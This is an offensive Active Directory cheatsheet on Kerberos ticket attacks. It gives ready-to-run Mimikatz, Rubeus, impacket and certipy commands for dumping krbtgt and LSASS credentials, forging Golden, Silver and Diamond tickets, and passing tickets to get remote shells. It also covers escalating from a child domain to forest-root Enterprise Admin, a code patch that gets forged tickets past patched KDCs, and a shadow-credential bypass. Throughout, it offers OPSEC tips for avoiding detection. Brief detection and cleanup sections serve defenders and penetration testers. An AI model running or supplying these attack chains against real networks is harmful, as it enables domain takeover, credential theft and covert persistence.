Skip to content

Kerberos Ticket Attacks Cheatsheet

Overview

Understanding Kerberos Ticket Attacks

Golden Tickets and Silver Tickets are forged Kerberos tickets that provide persistence and stealth:

  • Golden Ticket: Forged TGT (Ticket Granting Ticket) using krbtgt hash
  • Valid for 10 years by default
  • Works for any service in the domain
  • Survives password changes (except krbtgt)

  • Silver Ticket: Forged TGS (Ticket Granting Service) using service account hash

  • Valid for specific service only
  • More stealthy (no DC communication)
  • Requires target service hash

Prerequisites & Requirements

Required Information for Ticket Forging

Attack Type Required Data How to Obtain
Golden Ticket krbtgt NTLM hash DCSync, NTDS dump, Mimikatz on DC
Golden Ticket Domain SID whoami /user, PowerView, lookupsid
Golden Ticket Domain name Environment variable, AD enumeration
Silver Ticket Service account hash Kerberoasting, NTDS, local extraction
Silver Ticket Domain SID Same as Golden Ticket
Silver Ticket Target SPN Service enumeration, setspn -L

Golden Ticket Attacks

Obtaining Prerequisites

Get Domain SID

# Linux - Using lookupsid
impacket-lookupsid <domain>/<user>:'<password>'@<dc-ip> -domain-sids
# Look for: Domain SID is: S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX

# Linux - Using rpcclient
rpcclient -U '<domain>/<user>%<password>' <dc-ip> -c "lsaquery"

# Windows - PowerShell
whoami /user
# Extract SID minus the last segment (RID)

# Windows - PowerView
Import-Module .\PowerView.ps1
Get-DomainSID

# Windows - Native AD Module
(Get-ADDomain).DomainSID.Value

Get krbtgt Hash

# Linux - DCSync
impacket-secretsdump -just-dc-user krbtgt <domain>/<user>:'<password>'@<dc-ip>

# Linux - NTDS dump
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

# Windows - Mimikatz DCSync
mimikatz.exe "lsadump::dcsync /domain:<domain> /user:krbtgt" exit

# Windows - From LSASS (on DC)
mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" exit

Forging Golden Tickets

Linux - Golden Ticket Creation

# Create Golden Ticket (TGT)
impacket-ticketer \
    -nthash <krbtgt-ntlm-hash> \
    -domain-sid <domain-sid> \
    -domain <domain.local> \
    Administrator

# Full example with all options
impacket-ticketer \
    -nthash c0231bd8a4a4de92fca0760c0ba9e7a6 \
    -domain-sid S-1-5-21-1870146311-1183348186-593267556 \
    -domain inlanefreight.local \
    -user-id 500 \
    -groups 512,513,514,515,516,517,518,519,520 \
    -duration 3650 \
    Administrator

# Output: Administrator.ccache

Windows - Golden Ticket Creation with Mimikatz

# Method 1: Create and inject into current session (PTT)
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<krbtgt-hash> /user:Administrator /ptt" exit

# Method 2: Create and save to file
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<krbtgt-hash> /user:Administrator /ticket:golden.kirbi" exit

# Full example with all parameters
mimikatz.exe "kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /user:Administrator /id:500 /groups:512,513,514,515,516,517,518,519,520 /ptt" exit

# With AES keys (more stealthy)
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /aes256:<krbtgt-aes256> /user:Administrator /ptt" exit

Using Golden Tickets

Linux - Using Golden Tickets

# Set the ticket for use
export KRB5CCNAME=./Administrator.ccache

# Verify ticket
klist

# Access services
impacket-psexec -k -no-pass <target>.<domain>
impacket-smbclient -k -no-pass <target>.<domain>
impacket-wmiexec -k -no-pass <target>.<domain>
impacket-secretsdump -k -no-pass <target>.<domain>

# Access shares
smbclient //<target>.<domain>/C$ -k -no-pass

# Note: Use FQDN for Kerberos auth (-k flag)

Windows - Using Golden Tickets

# Verify ticket injection
klist

# Access remote systems
dir \\<target>\c$

# PsExec with current ticket
PsExec.exe -accepteula \\<target> cmd

# Enter remote session
Enter-PSSession -ComputerName <target>

# Using Rubeus for ticket management
Rubeus.exe ptt /ticket:golden.kirbi

Silver Ticket Attacks

Understanding Silver Tickets

Silver Ticket Characteristics

  • Target specific services (CIFS, HOST, HTTP, MSSQL, etc.)
  • Don't touch the DC after creation (stealthier)
  • Limited to single service on single machine
  • Common services:
  • CIFS: File system access
  • HOST: WMI, PsExec, scheduled tasks
  • HTTP: Web services, PowerShell Remoting
  • LDAP: Directory queries
  • MSSQL: Database access

Forging Silver Tickets

Linux - Silver Ticket Creation

# Create Silver Ticket for specific service
impacket-ticketer \
    -nthash <service-account-hash> \
    -domain-sid <domain-sid> \
    -domain <domain.local> \
    -spn <service>/<target>.<domain> \
    Administrator

# Example: CIFS service (file access)
impacket-ticketer \
    -nthash 542780725df68d3456a0672f59001987 \
    -domain-sid S-1-5-21-1870146311-1183348186-593267556 \
    -domain inlanefreight.local \
    -spn cifs/sql01.inlanefreight.local \
    Administrator

# Example: Multiple services
# HOST for WMI/PsExec
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn host/<target> Administrator

# HTTP for PowerShell Remoting
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn http/<target> Administrator

Windows - Silver Ticket Creation with Mimikatz

# Create and inject Silver Ticket
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<service-hash> /user:Administrator /target:<target>.<domain> /service:<service> /ptt" exit

# Example: CIFS Silver Ticket
mimikatz.exe "kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:027c6604526b7b16a22e320b76e54a5b /target:sql01.inlanefreight.local /service:cifs /user:Administrator /ptt" exit

# Create file for later use
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<service-hash> /target:<target> /service:<service> /user:Administrator /ticket:silver.kirbi" exit

# Multiple services in one ticket
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<computer-hash> /target:<target> /service:cifs,host /user:Administrator /ptt" exit

Pass-the-Ticket (PTT) Techniques

Extracting Existing Tickets

Windows - Ticket Extraction

# List all tickets in memory
Rubeus.exe triage

# Dump specific ticket by LUID
Rubeus.exe dump /luid:0x89275d /nowrap

# Dump specific service ticket
Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap

# Export with Mimikatz
mimikatz.exe "sekurlsa::tickets /export" exit

# List current session tickets
klist

Linux - Ticket Extraction

# From ccache files
export KRB5CCNAME=/tmp/krb5cc_1000
klist

# Convert between formats
impacket-ticketConverter silver.kirbi silver.ccache
impacket-ticketConverter golden.ccache golden.kirbi

Using Extracted/Forged Tickets

Windows - Pass-the-Ticket

# Method 1: Rubeus PTT
Rubeus.exe ptt /ticket:<base64-ticket>
Rubeus.exe ptt /ticket:silver.kirbi

# Method 2: Mimikatz PTT
mimikatz.exe "kerberos::ptt silver.kirbi" exit

# Method 3: Rubeus with sacrificial process
Rubeus.exe createnetonly /program:cmd.exe /show
# Note the ProcessID and LUID
Rubeus.exe ptt /ticket:silver.kirbi /luid:0x798c2c

# Verify ticket loaded
klist

Linux - Pass-the-Ticket

# Set environment variable
export KRB5CCNAME=./Administrator.ccache

# Or specify full path
export KRB5CCNAME=/tmp/admin_ticket.ccache

# Use with Impacket tools
impacket-psexec -k -no-pass <target>
impacket-smbclient -k -no-pass <target>

# Use with native tools
smbclient -k //<target>/C$
rpcclient -k <target>

Sacrificial Processes

Critical: Avoiding Service Disruption

Never overwrite SYSTEM or service tickets! Always use sacrificial processes:

# Create sacrificial process with Rubeus
Rubeus.exe createnetonly /program:cmd.exe /show
# Output: ProcessID: 4960, LUID: 0x798c2c

# Pass ticket to specific LUID
Rubeus.exe ptt /ticket:ticket.kirbi /luid:0x798c2c

# Or with Mimikatz (creates new logon session)
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:<domain> /rc4:<hash> /run:cmd.exe" exit

Common Attack Scenarios

Scenario 1: Domain Compromise with Golden Ticket

# 1. Get domain SID
impacket-lookupsid <domain>/<user>:'<password>'@<dc-ip> -domain-sids

# 2. DCSync for krbtgt
impacket-secretsdump -just-dc-user krbtgt <domain>/<user>:'<password>'@<dc-ip>

# 3. Create Golden Ticket
impacket-ticketer -nthash <krbtgt-hash> -domain-sid <sid> -domain <domain> Administrator

# 4. Use ticket
export KRB5CCNAME=./Administrator.ccache
impacket-psexec -k -no-pass <dc>.<domain>

Scenario 2: Service-Specific Access with Silver Ticket

# 1. Get computer account hash (from local SAM/LSA)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 2. Get domain SID
Get-DomainSID

# 3. Create Silver Ticket for CIFS
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<sid> /rc4:<computer-hash> /target:<target> /service:cifs /user:Administrator /ptt" exit

# 4. Access file system
dir \\<target>\c$

Scenario 3: Ticket Renewal for Persistence

# Extract current TGT
Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap

# Renew ticket (extends validity)
Rubeus.exe renew /ticket:<base64-ticket> /ptt

# Monitor ticket lifetime
Rubeus.exe triage

Quick Reference Matrix

Ticket Attack Decision Matrix

Attack Type Use Case Required Hash Stealth Level Persistence
Golden Ticket Full domain access krbtgt Medium 10 years
Silver Ticket Single service Service/Computer High 7 days
Bronze Bit S4U2self abuse Service account High Session
Diamond Ticket TGT modification krbtgt Very High Variable
Sapphire Ticket S4U2proxy chains Multiple High Session

OPSEC Considerations

Detection & Monitoring

Golden Ticket Indicators:

  • Event 4768: TGT requested (but not for Golden Tickets)
  • Event 4769: Service ticket requested with suspicious TGT
  • Tickets with 10-year lifetime
  • Tickets for non-existent users
  • PAC validation failures

Silver Ticket Indicators:

  • Event 4769: Absent (no TGS request)
  • Direct service access without TGT
  • Service tickets with unusual properties

Mitigation Detection:

  • Regular krbtgt password rotation (kills Golden Tickets)
  • Service account password changes (kills Silver Tickets)
  • PAC validation enabled
  • Kerberos ticket anomaly detection

Troubleshooting

Common Issues & Solutions

Issue Solution
"Clock skew too great" Sync time with DC: ntpdate <dc-ip>
"KDC_ERR_C_PRINCIPAL_UNKNOWN" Use FQDN, not IP
"KRB5KDC_ERR_PREAUTH_REQUIRED" Wrong hash or ticket expired
"Access Denied" with ticket Wrong service type in Silver Ticket
Ticket not working Check LUID, use sacrificial process
"The ticket lifetime is too short" Renew or recreate ticket

Best Practices

Engagement Guidelines

  1. Always use sacrificial processes to avoid service disruption
  2. Document all ticket creation for cleanup
  3. Monitor ticket lifetime and renew as needed
  4. Use Silver Tickets when possible (stealthier)
  5. Rotate between techniques to avoid pattern detection
  6. Clean up tickets after use: klist purge
  7. Test in lab first to understand behavior
  8. Use AES keys over RC4 when available (modern environments)

Kerberos Ticket Forging β€” Golden / Diamond / Cross-Domain ExtraSID (+ PAC_REQUESTOR) β€” Cheatsheet

Purpose: Forge Kerberos tickets once you already hold the right key (krbtgt / service / machine), and escalate a child-domain krbtgt into forest-root (Enterprise Admin) access via ExtraSID β€” including the modern PAC_REQUESTOR wall that silently kills stock golden/diamond tickets against patched KDCs, and the impacket fix that beats it.

Prereqs / context: Crack-free. You already hold the keys (krbtgt NT+AES via DCSync/secretsdump, or a service/machine NT hash via PtH). Linux-first: domain-joined box, impacket/certipy/bloodyAD, kinit -k from /etc/krb5.keytab, ccaches via KRB5CCNAME. A SYSTEM-context Windows foothold (<FOOTHOLD>) in the child domain is what makes cross-realm referral chasing trivial (Windows does it natively; impacket does not).

0. Recon β€” get the SIDs you need

lookupsid.py '<CHILD>/<USER>:<USER_PW>@<CHILD_DC_IP>'        # child domain SID (S-1-5-21-...) + RIDs; first line "Domain SID is:" = <DOMAIN_SID>
lookupsid.py '<CHILD>/<USER>:<USER_PW>@<ROOT_DC_IP>'        # run against a forest-root DC to harvest the ROOT/<FOREST_ROOT_SID>
lookupsid.py -k -no-pass '<CHILD>/<USER>@<CHILD_DC_FQDN>'   # same, Kerberos auth (needs KRB5CCNAME set + DNS/realm resolving)

ExtraSID values worth knowing: <FOREST_ROOT_SID>-519 = Enterprise Admins, <FOREST_ROOT_SID>-512 = (root) Domain Admins, S-1-5-9 = Enterprise Domain Controllers.

1. Golden ticket (krbtgt key, same realm)

ticketer.py -nthash <CHILD_KRBTGT_NT> -domain-sid <DOMAIN_SID> -domain <CHILD> <ADMIN>          # forge TGT as <ADMIN> using krbtgt NT hash (offline, no KDC contact)
ticketer.py -aesKey <CHILD_KRBTGT_AES256> -domain-sid <DOMAIN_SID> -domain <CHILD> <ADMIN>      # same, AES256 β€” prefer this (no RC4 downgrade tell)
export KRB5CCNAME=$(pwd)/<ADMIN>.ccache                                                          # load the forged ccache
secretsdump.py -k -no-pass -just-dc-user '<CHILD>\krbtgt' '<CHILD>/<ADMIN>@<CHILD_DC_FQDN>' -dc-ip <CHILD_DC_IP> -target-ip <CHILD_DC_IP>   # prove it: intra-realm DCSync works because the same KDC re-signs the PAC with the krbtgt key you hold

Intra-realm golden always "works" against your own KDC β€” that is NOT proof it survives a cross-realm referral (see Β§4 / gotchas). ticketer.py defaults to a ~10-year lifetime; override for OPSEC (-duration).

2. Silver ticket (service account key, zero KDC contact)

ticketer.py -nthash <SVC_NT> -domain-sid <DOMAIN_SID> -domain <CHILD> -spn cifs/<TARGET_FQDN> <ADMIN>        # forge a SERVICE ticket (cifs) signed with the service acct hash β€” never touches a DC
ticketer.py -aesKey <SVC_AES> -domain-sid <DOMAIN_SID> -domain <CHILD> -spn host/<TARGET_FQDN> <ADMIN>       # host/ for SCM/WMI/PsExec-class access
export KRB5CCNAME=$(pwd)/<ADMIN>.ccache; psexec.py -k -no-pass <TARGET_FQDN>                                  # use the forged ST directly against the one service

Silver = forged ST only, scoped to that one SPN/host. No PAC_REQUESTOR problem (no referral). The catch: a service-account hash forges access only to that account's services.

3. Diamond ticket (modify a REAL TGT β€” survives PAC_REQUESTOR)

Diamond requests a genuine TGT from the KDC, decrypts it with the krbtgt key, edits the PAC (adds your ExtraSID), and re-signs β€” so the KDC-issued PAC buffers (incl. signatures and, when done right, PAC_REQUESTOR) are preserved. Three different keys are required β€” getting these crossed is the #1 diamond failure:

  • -hashes ':<TARGET_NT>' = the account you're pre-authing as (machine/user) β€” used to pull the real TGT.
  • -nthash <CHILD_KRBTGT_NT> = krbtgt NT β€” PAC re-signing.
  • -aesKey <CHILD_KRBTGT_AES256> = krbtgt AES256 β€” decrypt/re-encrypt the ticket.
ticketer.py -request -domain <CHILD> -domain-sid <DOMAIN_SID> -user '<TARGET>$' -hashes ':<TARGET_NT>' -nthash <CHILD_KRBTGT_NT> -aesKey <CHILD_KRBTGT_AES256> -extra-sid <FOREST_ROOT_SID>-519 -dc-ip <CHILD_DC_IP> '<TARGET>$'   # diamond TGT: real PAC + injected EA ExtraSID

Stock impacket prints only PAC_LOGON_INFO + PAC_CLIENT_INFO_TYPE here β€” it rebuilds the PAC from scratch and drops PAC_REQUESTOR, so it dies on a patched KDC exactly like golden. See Β§4.3 for the patch that makes it print Preserved original PAC_REQUESTOR from KDC. (The -impersonate "sapphire" path preserves PAC_REQUESTOR correctly via S4U2self; the plain diamond path does not.)

4. Cross-domain ExtraSID escalation (child β†’ forest root)

Goal: a child-domain TGT carrying <FOREST_ROOT_SID>-519 that the root KDC honors on referral β†’ Enterprise Admin over the whole forest. The domain is not the boundary; the forest is.

4.1 The naive golden+ExtraSID (and why it stalls)

ticketer.py -aesKey <CHILD_KRBTGT_AES256> -domain-sid <DOMAIN_SID> -domain <CHILD> -extra-sid S-1-5-9 -extra-sid <FOREST_ROOT_SID>-519 forestproof   # golden TGT + EA ExtraSID, fresh fake principal to avoid ccache contamination

From Linux this hits KDC_ERR_WRONG_REALM (impacket can only take one -dc-ip, can't chase the referral) or, if you force the chase, KRB_AP_ERR_MODIFIED (RC4 inter-realm trust session key). Injected on Windows it injects fine but the referral gets 0x520 and the TGT is purged β€” KB5020009 PAC_REQUESTOR enforcement. None of these are SID filtering.

4.2 The winning chain: patched-diamond + Windows-native referral

1) Build the diamond with a real child machine account as client and the EA ExtraSID, using the patched ticketer (Β§4.3):

ticketer.py -request -domain <CHILD> -domain-sid <DOMAIN_SID> -user '<TARGET>$' -hashes ':<TARGET_NT>' -nthash <CHILD_KRBTGT_NT> -aesKey <CHILD_KRBTGT_AES256> -extra-sid <FOREST_ROOT_SID>-519 -dc-ip <CHILD_DC_IP> '<TARGET>$'   # expect: "Preserved original PAC_ATTRIBUTES/PAC_REQUESTOR from KDC"
ticketConverter.py '<TARGET>$.ccache' diamond.kirbi   # ccache then kirbi for LSA injection

2) Upload diamond.kirbi to a SYSTEM-context, child-joined <FOOTHOLD> and inject via LSA, then let Windows chase the cross-realm referral (it handles RC4 trusts and one-vs-many DCs natively where impacket can't):

# inject the kirbi with LsaRegisterLogonProcess (SYSTEM) + KerbSubmitTicketMessage (type 21) β€” see notes; NOT LsaConnectUntrusted
klist.exe get cifs/<ROOT_DC_FQDN>          # triggers native referral child-krbtgt then krbtgt/<PARENT> then cifs ST @ <PARENT>, full AES256
dir \\<ROOT_DC_FQDN>\c$                     # EA access to forest-root DC proven (C$ listing)

4.3 The PAC_REQUESTOR patch for impacket ticketer.py

Stock diamond mode calls createBasicPac() which fabricates a fresh PAC (no PAC_REQUESTOR/type-18, no PAC_ATTRIBUTES/type-17). Add _extractOriginalPacFields() (decrypts the real TGT enc-part with the krbtgt key, walks PAC buffers, lifts types 17/18) and overwrite after createBasicPac():

if self.__options.request is True and not self.__options.impersonate:
    originalPacFields = self._extractOriginalPacFields(kdcRep)
    if PAC_REQUESTOR_INFO in originalPacFields:
        pacInfos[PAC_REQUESTOR_INFO] = originalPacFields[PAC_REQUESTOR_INFO]   # preserve KDC-issued requestor (SID must match the client principal)
    if PAC_ATTRIBUTES_INFO in originalPacFields:
        pacInfos[PAC_ATTRIBUTES_INFO] = originalPacFields[PAC_ATTRIBUTES_INFO]
cp ticketer_patched.py ~/.local/bin/ticketer.py   # deploy; re-run Β§4.2 step 1 and confirm the "Preserved original PAC_REQUESTOR" lines

4.4 raiseChild.py (automates child β†’ parent β€” when you can SMB the child DC)

raiseChild.py '<CHILD>/<CHILD_DC>$' -hashes :<CHILD_DC_NT> -dc-ip <CHILD_DC_IP>   # DCSyncs child krbtgt + trust key, mints the ExtraSID TGT, pops the root DC end-to-end
raiseChild.py -target-exec <ROOT_DC_FQDN> '<CHILD>/<ADMIN>:<USER_PW>'             # same, then drop a psexec on the root DC

Caveat from this engagement: raiseChild.py SMBs into the child DC to DCSync from scratch β€” it cannot bootstrap from a forged golden ticket (STATUS_ACCESS_DENIED). Feed it a real credential/hash that can DCSync, not a forged TGT.

4.5 Bypass the cross-realm entirely: shadow-cred on the root DC β†’ PKINIT

If the trust is RC4 and Linux DCSync keeps failing, use your new EA write access (from Β§4.2 on <FOOTHOLD>) to drop a shadow credential on the root DC object, then PKINIT directly into the root realm β€” no referral involved:

python3 gen_shadow_cred.py "CN=<ROOT_DC>,OU=Domain Controllers,DC=<PARENT_DN>" rootdc   # offline: RSA keypair + DN-Binary KeyCredentialLink blob + rootdc.pfx
$de = New-Object System.DirectoryServices.DirectoryEntry("LDAP://<ROOT_DC_FQDN>/CN=<ROOT_DC>,OU=Domain Controllers,DC=<PARENT_DN>"); $de.Properties["msDS-KeyCredentialLink"].Add((Get-Content -Raw C:\Users\Public\rootdc_blob.txt).Trim()); $de.CommitChanges()   # write the keycred from the EA Kerberos context on <FOOTHOLD>
openssl pkcs12 -in rootdc.pfx -out rootdc.pem -nodes -passin pass:shadow; openssl pkcs12 -export -in rootdc.pem -out rootdc_nopass.pfx -passout pass:   # strip pfx password (certipy 4.8.2 has no -pfx-pass)
certipy auth -pfx rootdc_nopass.pfx -dc-ip <ROOT_DC_IP> -domain <PARENT> -username '<ROOT_DC>$'   # PKINIT into <PARENT>: TGT + NT hash for the root DC machine account
secretsdump.py -hashes ':<ROOT_DC_NT>' -just-dc-user '<PARENT>\krbtgt' -target-ip <ROOT_DC_IP> '<PARENT>/<ROOT_DC>$@<ROOT_DC_FQDN>'   # PtH DCSync then forest-root krbtgt (PtH avoids the RC4-ccache KRB_AP_ERR_MODIFIED)

What Went Wrong

Symptom / error Real cause Fix
KDC_ERR_WRONG_REALM on cross-realm DCSync Stale RC4 referral ticket left in the ccache (ticketer "Updated" instead of fresh) β€” impacket grabbed the wrong ticket Forge into a fresh, uniquely-named principal/ccache; verify with klist/describeTicket.py
KDC_ERR_WRONG_REALM when chasing referral from Linux impacket takes one -dc-ip and can't follow a cross-realm referral Chase manually (2-step getKerberosTGS script), or inject on Windows and let LSA chase it
KRB_AP_ERR_MODIFIED after manual trust-key forge Inter-realm trust key mismatch (current vs previous after rotation) Don't forge with the trust key; use child krbtgt + ExtraSID and let the child DC mint the referral
KRB_AP_ERR_MODIFIED on a chased referral ST Inter-realm trust is RC4; chased ST has an arcfour-hmac session key the root service rejects Inject on Windows (AES end-to-end) or pivot via shadow-cred→PKINIT (§4.5)
KRB_AP_ERR_MODIFIED on S4U2self from a getTGT -hashes ccache getTGT -hashes asks AS-REQ with RC4 only β†’ RC4-keyed PA-FOR-USER checksum rejected by a patched DC Get an AES TGT via PKINIT (cert/shadow-cred), then S4U2self
SPN like krbtgt/<PARENT>\@<CHILD>@<CHILD> -spn 'krbtgt/<PARENT>@<CHILD>' β€” the @realm got escaped into the SPN Pass -spn krbtgt/<PARENT> with no realm suffix
Windows: ticket injects, then 0x520 / 0x8009030e "No credentials" and TGT purged KB5008380/KB5020009 PAC_REQUESTOR validation on cross-realm TGS-REQ; stock ticketer builds only PAC_LOGON_INFO+PAC_CLIENT_INFO_TYPE Patched diamond preserving PAC_REQUESTOR (Β§4.3); using a real account name alone does not fix it
raiseChild.py β†’ STATUS_ACCESS_DENIED It SMB-DCSyncs the child DC from scratch; can't bootstrap from a forged ticket Feed it a real DCSync-capable hash/cred
Windows inject: Status: 0 but klist shows 0 tickets LsaConnectUntrusted silently drops TGT submissions Use LsaRegisterLogonProcess (needs SYSTEM) for a trusted LSA connection
PowerShell injector throws on [ulong] / [Marshal] Type names not resolvable Use [UInt64] and [System.Runtime.InteropServices.Marshal]
KRB_AP_ERR_MODIFIED right after PKINIT DCSync Trailing typo RB5CCNAME / RC4 ccache Export KRB5CCNAME correctly, or just PtH with the recovered NT hash

Detection / OPSEC

  • Prefer diamond over golden where detection matters. Golden tickets with absurd lifetimes, nonexistent client principals, or missing PAC buffers are heavily flagged; diamond inherits a real KDC-issued PAC (incl. PAC_REQUESTOR) and a real account, so it blends. Override ticketer's ~10-year default to a realistic lifetime.
  • Use a real account name as the client principal and match the PAC SID to the requestor β€” a TGT for a principal that doesn't exist in AD is a tell (and gets rejected on patched KDCs anyway).
  • Keep the chain AES-256 end-to-end. RC4 (arcfour-hmac) session keys both stand out (4769 etype 0x17 anomaly) and break cross-realm here.
  • An ExtraSID -519 appearing in a cross-realm TGS, or a child machine account suddenly touching the root DC's C$, is the high-signal forest-escalation event β€” expect 4768/4769 correlation.
  • LSA injection via LsaRegisterLogonProcess+KerbSubmitTicketMessage (pure P/Invoke) avoids Rubeus/mimikatz on-disk and named signatures, but ticket-injection behavior is still detectable; minimize dwell.

Cleanup

  • Rotate krbtgt twice in BOTH the child and the forest root (invalidates every golden/diamond minted with those keys).
  • Remove shadow credentials you wrote: clear msDS-KeyCredentialLink on the root DC object (and any child DC / computer objects used as the bypass) β€” $de.Properties["msDS-KeyCredentialLink"].Clear(); $de.CommitChanges().
  • Delete .ccache/.kirbi/.pfx/.pem/blob artifacts on the attacker box and <FOOTHOLD> (C:\Users\Public\); klist.exe purge the SYSTEM session on <FOOTHOLD>.
  • Revoke any certificates issued via the PKINIT/shadow-cred bypass (golden-certificate persistence risk).
  • Restore the patched ticketer.py (or note it) and any accounts whose password/hash you altered during U2U/diamond setup.

References

  • impacket β€” ticketer.py, raiseChild.py, lookupsid.py, secretsdump.py, ticketConverter.py, getTGT.py (fortra/impacket, GitHub)
  • The Hacker Recipes β€” Golden / Silver / Diamond / Sapphire tickets; "Forest" / SID-history & ExtraSID escalation (thehacker.recipes)
  • dirkjanm β€” "Active Directory forest trusts" part 1 & 2 (dirkjanm.io) β€” the single--dc-ip referral limitation and child-DC-mints-referral approach
  • Charlie Clark / Semperis β€” Diamond & Sapphire ticket internals (PAC preservation vs. fabrication)
  • Microsoft β€” KB5008380 (PAC signature) and KB5020009 (full PAC_REQUESTOR enforcement, Oct 2022)
  • SpecterOps β€” Shadow Credentials / msDS-KeyCredentialLink (Whisker / pyWhisker); certipy shadow + auth (ly4k/Certipy)